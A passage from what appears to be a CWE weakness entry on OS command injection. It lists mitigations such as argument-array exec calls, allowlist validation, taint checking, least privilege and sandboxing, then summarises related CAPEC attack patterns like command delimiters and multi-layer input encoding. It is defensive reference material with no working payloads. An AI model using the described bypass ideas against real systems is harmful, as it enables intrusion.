- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.